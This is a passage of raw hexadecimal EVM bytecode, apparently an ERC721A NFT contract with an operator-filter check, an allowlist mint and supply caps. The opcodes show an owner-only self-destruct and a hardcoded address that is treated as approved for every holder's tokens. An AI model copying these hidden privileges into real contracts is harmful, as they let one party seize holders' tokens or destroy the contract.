50610940611d1f565b60405161094d9190613c6c565b60405180910390f35b34801561096257600080fd5b5061097d60048036038101906109789190613f68565b611d25565b60405161098a9190613c6c565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b5919061431f565b611d37565b6040516109c79190613a5c565b60405180910390f35b3480156109dc57600080fd5b506109f760048036038101906109f29190613f68565b611e1c565b005b348015610a0557600080fd5b50610a206004803603810190610a1b91906144e5565b611e9f565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610aed57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610b5557507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610b655750610b6482611f56565b5b9050919050565b606060048054610b7b9061458c565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba79061458c565b8015610bf45780601f10610bc957610100808354040283529160200191610bf4565b820191906000526020600020905b815481529060010190602001808311610bd757829003601f168201915b5050505050905090565b6000610c0982611fc0565b610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061462f565b60405180910390fd5b6008600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b8160006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115610d7e576daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430836040518363ffffffff1660e01b8152600401610cfb92919061464f565b602060405180830381865afa158015610d18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3c919061468d565b610d7d57806040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401610d749190613bd6565b60405180910390fd5b5b610d888383611fce565b505050565b6000600154905090565b8260006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115610ed5573373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e0957610e04848484612198565b610ee1565b6daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430336040518363ffffffff1660e01b8152600401610e5292919061464f565b602060405180830381865afa158015610e6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e93919061468d565b610ed457336040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401610ecb9190613bd6565b60405180910390fd5b5b610ee0848484612198565b5b50505050565b60025481565b6000610ef8836113d5565b8210610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f309061472c565b60405180910390fd5b6000610f43610d8d565b905060008060005b838110156110a7576000600660008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461103d57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611093578684036110845781955050505050506110e3565b838061108f9061477b565b9450505b50808061109f9061477b565b915050610f4b565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da90614835565b60405180910390fd5b92915050565b6110f16121a8565b3373ffffffffffffffffffffffffffffffffffffffff16ff5b600080600f60000160009054906101000a900463ffffffff1663ffffffff16141580156111525750600f60000160009054906101000a900463ffffffff1663ffffffff164210155b905090565b6daaeb6d7670e522a718067333cd4e81565b8260006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b11156112a7573373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111db576111d6848484612226565b6112b3565b6daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430336040518363ffffffff1660e01b815260040161122492919061464f565b602060405180830381865afa158015611241573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611265919061468d565b6112a657336040517fede71dcc00000000000000000000000000000000000000000000000000000000815260040161129d9190613bd6565b60405180910390fd5b5b6112b2848484612226565b5b50505050565b600360009054906101000a900460ff1681565b6000600e54905090565b60006112e0610d8d565b8210611321576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611318906148c7565b60405180910390fd5b819050919050565b6113316121a8565b80600a600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6113686121a8565b818160119182611379929190614a94565b505050565b600061138982612246565b600001519050919050565b61139c6121a8565b8060028190555050565b6113ae6121a8565b80600f60000160006101000a81548163ffffffff021916908363ffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c90614bd6565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6114c56121a8565b6114cf6000612449565b565b6114d96121a8565b600360009054906101000a900460ff1615600360006101000a81548160ff021916908315150217905550565b600080336040516020016115199190614c3e565b6040516020818303038152906040528051906020012090506000326040516020016115449190614c3e565b6040516020818303038152906040528051906020012090506115aa858580806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050506002548461250d565b806115ff57506115fe858580806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050506002548361250d565b5b61163e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163590614ca5565b60405180910390fd5b60019250505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f8060000160009054906101000a900463ffffffff16908060010154905082565b6116c161396e565b6116ca82612246565b9050919050565b6060600580546116e09061458c565b80601f016020809104026020016040519081016040528092919081815260200182805461170c9061458c565b80156117595780601f1061172e57610100808354040283529160200191611759565b820191906000526020600020905b81548152906001019060200180831161173c57829003601f168201915b5050505050905090565b600081565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16146117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90614d11565b60405180910390fd5b6117de61110a565b61181d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181490614d7d565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000000811115611880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187790614de9565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000000816118aa610d8d565b6118b49190614e09565b11156118f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ec90614de9565b60405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000000008161192033611d25565b61192a9190614e09565b111561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290614eab565b60405180910390fd5b6119753382612524565b50565b8160006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115611a73576daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430836040518363ffffffff1660e01b81526004016119f092919061464f565b602060405180830381865afa158015611a0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a31919061468d565b611a7257806040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401611a699190613bd6565b60405180910390fd5b5b611a7d8383612542565b505050565b600b6020528060005260406000206000915054906101000a900460ff1681565b611aaa6121a8565b60405180604001604052808363ffffffff16815260200182815250600f60008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050505050565b8360006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115611c3e573373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b7257611b6d8585858561289a565b611c4b565b6daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663c617113430336040518363ffffffff1660e01b8152600401611bbb92919061464f565b602060405180830381865afa158015611bd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bfc919061468d565b611c3d57336040517fede71dcc000000000000000000000000000000000000000000000000000000008152600401611c349190613bd6565b60405180910390fd5b5b611c4a8585858561289a565b5b5050505050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6060611c7d82611fc0565b611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb390614f3d565b60405180910390fd5b6000611cc66128f6565b90506000815111611ce65760405180602001604052806000815250611d11565b80611cf084612988565b604051602001611d01929190614fe5565b6040516020818303038152906040525b915050919050565b600e5481565b600c5481565b6000611d3082612ae8565b9050919050565b60007348181b9d88ffe0c7654ccecbc9e7505f7b9d0d1373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d895760019050611e16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b92915050565b611e246121a8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a90615086565b60405180910390fd5b611e9c81612449565b50565b611ea76121a8565b60005b8251811015611f5157818181518110611ec657611ec56150a6565b5b6020026020010151600b6000858481518110611ee557611ee46150a6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611f499061477b565b915050611eaa565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600060015482109050919050565b611fd6612bd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90615121565b60405180910390fd5b600061204e8261137e565b90508073ffffffffffffffffffffffffffffffffffffffff1661206f612bd0565b73ffffffffffffffffffffffffffffffffffffffff16141580156120a1575061209f8161209a612bd0565b611d37565b155b156120d8576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600360009054906101000a900460ff161580156121135750600a600083815260200190815260200160002060009054906101000a900460ff16155b15612187576121378373ffffffffffffffffffffffffffffffffffffffff16612bd8565b15612177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216e906151b3565b60405180910390fd5b612182838383612bfb565b612193565b612192838383612bfb565b5b505050565b6121a3838383612cad565b505050565b6121b0612bd0565b73ffffffffffffffffffffffffffffffffffffffff166121ce61166e565b73ffffffffffffffffffffffffffffffffffffffff1614612224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221b9061521f565b60405180910390fd5b565b61224183838360405180602001604052806000815250611aff565b505050565b61224e61396e565b61225782611fc0565b612296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228d906152b1565b60405180910390fd5b60007f000000000000000000000000000000000000000000000000000000000000000083106122fa5760017f0000000000000000000000000000000000000000000000000000000000000000846122ed91906152d1565b6122f79190614e09565b90505b60008390505b818110612408576000600660008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16146123f457809350505050612444565b50808061240090615305565b915050612300565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243b906153a0565b60405180910390fd5b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008261251a8584613264565b1490509392505050565b61253e8282604051806020016040528060008152506132ba565b5050565b61254a612bd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ae90615121565b60405180910390fd5b600360009054906101000a900460ff1615801561261e5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561278e576126428273ffffffffffffffffffffffffffffffffffffffff16612bd8565b15612682576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612679906151b3565b60405180910390fd5b806009600061268f612bd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661273c612bd0565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516127819190613a5c565b60405180910390a3612896565b806009600061279b612bd0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612848612bd0565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161288d9190613a5c565b60405180910390a35b5050565b6128a5848484612cad565b6128b184848484613799565b6128f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e790615432565b60405180910390fd5b50505050565b6060601180546129059061458c565b80601f01602080910402602001604051908101604052809291908181526020018280546129319061458c565b801561297e5780601f106129535761010080835404028352916020019161297e565b820191906000526020600020905b81548152906001019060200180831161296157829003601f168201915b5050505050905090565b6060600082036129cf576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612ae3565b600082905060005b60008214612a015780806129ea9061477b565b915050600a826129fa9190615481565b91506129d7565b60008167ffffffffffffffff811115612a1d57612a1c614171565b5b6040519080825280601f01601f191660200182016040528015612a4f5781602001600182028036833780820191505090505b5090505b60008514612adc57600182612a6891906152d1565b9150600a85612a7791906154b2565b6030612a839190614e09565b60f81b818381518110612a9957612a986150a6565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612ad59190615481565b9450612a53565b8093505050505b919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4f90615555565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b600033905090565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b826008600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000612cb882612246565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16612cdf612bd0565b73ffffffffffffffffffffffffffffffffffffffff161480612d3b5750612d04612bd0565b73ffffffffffffffffffffffffffffffffffffffff16612d2384610bfe565b73ffffffffffffffffffffffffffffffffffffffff16145b80612d575750612d568260000151612d51612bd0565b611d37565b5b905080612d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d90906155e7565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0290615679565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e719061570b565b60405180910390fd5b612e878585856001613920565b612e976000848460000151612bfb565b6001600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16612f059190615747565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16612fa9919061577b565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506006600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555090505060006001846130af9190614e09565b9050600073ffffffffffffffffffffffffffffffffffffffff166006600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036131f45761312481611fc0565b156131f3576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506006600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b5b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461325c8686866001613926565b505050505050565b60008082905060005b84518110156132af5761329a8286838151811061328d5761328c6150a6565b5b602002602001015161392c565b915080806132a79061477b565b91505061326d565b508091505092915050565b60006001549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603613330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161332790615833565b60405180910390fd5b61333981611fc0565b15613379576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133709061589f565b60405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000000008311156133dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d390615931565b60405180910390fd5b6133e96000858386613920565b6000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681525050905060405180604001604052808583600001516134e6919061577b565b6fffffffffffffffffffffffffffffffff16815260200185836020015161350d919061577b565b6fffffffffffffffffffffffffffffffff16815250600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060405180604001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506006600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600082905060005b8581101561377c57818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461371c6000888488613799565b61375b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161375290615432565b60405180910390fd5b81806137669061477b565b92505080806137749061477b565b9150506136ab565b50806001819055506137916000878588613926565b505050505050565b60006137ba8473ffffffffffffffffffffffffffffffffffffffff16612bd8565b15613913578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026137e3612bd0565b8786866040518563ffffffff1660e01b815260040161380594939291906159a6565b6020604051808303816000875af192505050801561384157506040513d601f19601f8201168201806040525081019061383e9190615a07565b60015b6138c3573d8060008114613871576040519150601f19603f3d011682016040523d82523d6000602084013e613876565b606091505b5060008151036138bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138b290615432565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613918565b600190505b949350505050565b50505050565b50505050565b60008183106139445761393f8284613957565b61394f565b61394e8383613957565b5b905092915050565b600082600052816020526040600020905092915050565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6139f1816139bc565b81146139fc57600080fd5b50565b600081359050613a0e816139e8565b92915050565b600060208284031215613a2a57613a296139b2565b5b6000613a38848285016139ff565b91505092915050565b60008115159050919050565b613a5681613a41565b82525050565b6000602082019050613a716000830184613a4d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613ab1578082015181840152602081019050613a96565b83811115613ac0576000848401525b50505050565b6000601f19601f8301169050919050565b6000613ae282613a77565b613aec8185613a82565b9350613afc818560208601613a93565b613b0581613ac6565b840191505092915050565b60006020820190508181036000830152613b2a8184613ad7565b905092915050565b6000819050919050565b613b4581613b32565b8114613b5057600080fd5b50565b600081359050613b6281613b3c565b92915050565b600060208284031215613b7e57613b7d6139b2565b5b6000613b8c84828501613b53565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613bc082613b95565b9050919050565b613bd081613bb5565b82525050565b6000602082019050613beb6000830184613bc7565b92915050565b613bfa81613bb5565b8114613c0557600080fd5b50565b600081359050613c1781613bf1565b92915050565b60008060408385031215613c3457613c336139b2565b5b6000613c4285828601613c08565b9250506020613c5385828601613b53565b9150509250929050565b613c6681613b32565b82525050565b6000602082019050613c816000830184613c5d565b92915050565b600080600060608486031215613ca057613c9f6139b2565b5b6000613cae86828701613c08565b9350506020613cbf86828701613c08565b9250506040613cd086828701613b53565b9150509250925092565b6000819050919050565b613ced81613cda565b82525050565b6000602082019050613d086000830184613ce4565b92915050565b6000819050919050565b6000613d33613d2e613d2984613b95565b613d0e565b613b95565b9050919050565b6000613d4582613d18565b9050919050565b6000613d5782613d3a565b9050919050565b613d6781613d4c565b82525050565b6000602082019050613d826000830184613d5e565b92915050565b613d9181613a41565b8114613d9c57600080fd5b50565b600081359050613dae81613d88565b92915050565b60008060408385031215613dcb57613dca6139b2565b5b6000613dd985828601613b53565b9250506020613dea85828601613d9f565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f840112613e1957613e18613df4565b5b8235905067ffffffffffffffff811115613e3657613e35613df9565b5b602083019150836001820283011115613e5257613e51613dfe565b5b9250929050565b60008060208385031215613e7057613e6f6139b2565b5b600083013567ffffffffffffffff811115613e8e57613e8d6139b7565b5b613e9a85828601613e03565b92509250509250929050565b613eaf81613cda565b8114613eba57600080fd5b50565b600081359050613ecc81613ea6565b92915050565b600060208284031215613ee857613ee76139b2565b5b6000613ef684828501613ebd565b91505092915050565b600063ffffffff82169050919050565b613f1881613eff565b8114613f2357600080fd5b50565b600081359050613f3581613f0f565b92915050565b600060208284031215613f5157613f506139b2565b5b6000613f5f84828501613f26565b91505092915050565b600060208284031215613f7e57613f7d6139b2565b5b6000613f8c84828501613c08565b91505092915050565b60008083601f840112613fab57613faa613df4565b5b8235905067ffffffffffffffff811115613fc857613fc7613df9565b5b602083019150836020820283011115613fe457613fe3613dfe565b5b9250929050565b60008060208385031215614002576140016139b2565b5b600083013567ffffffffffffffff8111156140205761401f6139b7565b5b61402c85828601613f95565b92509250509250929050565b61404181613eff565b82525050565b600060408201905061405c6000830185614038565b6140696020830184613c5d565b9392505050565b61407981613bb5565b82525050565b600067ffffffffffffffff82169050919050565b61409c8161407f565b82525050565b6040820160008201516140b86000850182614070565b5060208201516140cb6020850182614093565b50505050565b60006040820190506140e660008301846140a2565b92915050565b60008060408385031215614103576141026139b2565b5b600061411185828601613c08565b925050602061412285828601613d9f565b9150509250929050565b60008060408385031215614143576141426139b2565b5b600061415185828601613f26565b925050602061416285828601613b53565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6141a982613ac6565b810181811067ffffffffffffffff821117156141c8576141c7614171565b5b80604052505050565b60006141db6139a8565b90506141e782826141a0565b919050565b600067ffffffffffffffff82111561420757614206614171565b5b61421082613ac6565b9050602081019050919050565b82818337600083830152505050565b600061423f61423a846141ec565b6141d1565b90508281526020810184848401111561425b5761425a61416c565b5b61426684828561421d565b509392505050565b600082601f83011261428357614282613df4565b5b813561429384826020860161422c565b91505092915050565b600080600080608085870312156142b6576142b56139b2565b5b60006142c487828801613c08565b94505060206142d587828801613c08565b93505060406142e687828801613b53565b925050606085013567ffffffffffffffff811115614307576143066139b7565b5b6143138782880161426e565b91505092959194509250565b60008060408385031215614336576143356139b2565b5b600061434485828601613c08565b925050602061435585828601613c08565b9150509250929050565b600067ffffffffffffffff82111561437a57614379614171565b5b602082029050602081019050919050565b600061439e6143998461435f565b6141d1565b905080838252602082019050602084028301858111156143c1576143c0613dfe565b5b835b818110156143ea57806143d68882613c08565b8452602084019350506020810190506143c3565b5050509392505050565b600082601f83011261440957614408613df4565b5b813561441984826020860161438b565b91505092915050565b600067ffffffffffffffff82111561443d5761443c614171565b5b602082029050602081019050919050565b600061446161445c84614422565b6141d1565b9050808382526020820190506020840283018581111561448457614483613dfe565b5b835b818110156144ad57806144998882613d9f565b845260208401935050602081019050614486565b5050509392505050565b600082601f8301126144cc576144cb613df4565b5b81356144dc84826020860161444e565b91505092915050565b600080604083850312156144fc576144fb6139b2565b5b600083013567ffffffffffffffff81111561451a576145196139b7565b5b614526858286016143f4565b925050602083013567ffffffffffffffff811115614547576145466139b7565b5b614553858286016144b7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806145a457607f821691505b6020821081036145b7576145b661455d565b5b50919050565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b6000614619602d83613a82565b9150614624826145bd565b604082019050919050565b600060208201905081810360008301526146488161460c565b9050919050565b60006040820190506146646000830185613bc7565b6146716020830184613bc7565b9392505050565b60008151905061468781613d88565b92915050565b6000602082840312156146a3576146a26139b2565b5b60006146b184828501614678565b91505092915050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b6000614716602283613a82565b9150614721826146ba565b604082019050919050565b6000602082019050818103600083015261474581614709565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061478682613b32565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036147b8576147b761474c565b5b600182019050919050565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b600061481f602e83613a82565b915061482a826147c3565b604082019050919050565b6000602082019050818103600083015261484e81614812565b9050919050565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b60006148b1602383613a82565b91506148bc82614855565b604082019050919050565b600060208201905081810360008301526148e0816148a4565b9050919050565b600082905092915050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026149547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82614917565b61495e8683614917565b95508019841693508086168417925050509392505050565b600061499161498c61498784613b32565b613d0e565b613b32565b9050919050565b6000819050919050565b6149ab83614976565b6149bf6149b782614998565b848454614924565b825550505050565b600090565b6149d46149c7565b6149df8184846149a2565b505050565b5b81811015614a03576149f86000826149cc565b6001810190506149e5565b5050565b601f821115614a4857614a19816148f2565b614a2284614907565b81016020851015614a31578190505b614a45614a3d85614907565b8301826149e4565b50505b505050565b600082821c905092915050565b6000614a6b60001984600802614a4d565b1980831691505092915050565b6000614a848383614a5a565b9150826002028217905092915050565b614a9e83836148e7565b67ffffffffffffffff811115614ab757614ab6614171565b5b614ac1825461458c565b614acc828285614a07565b6000601f831160018114614afb5760008415614a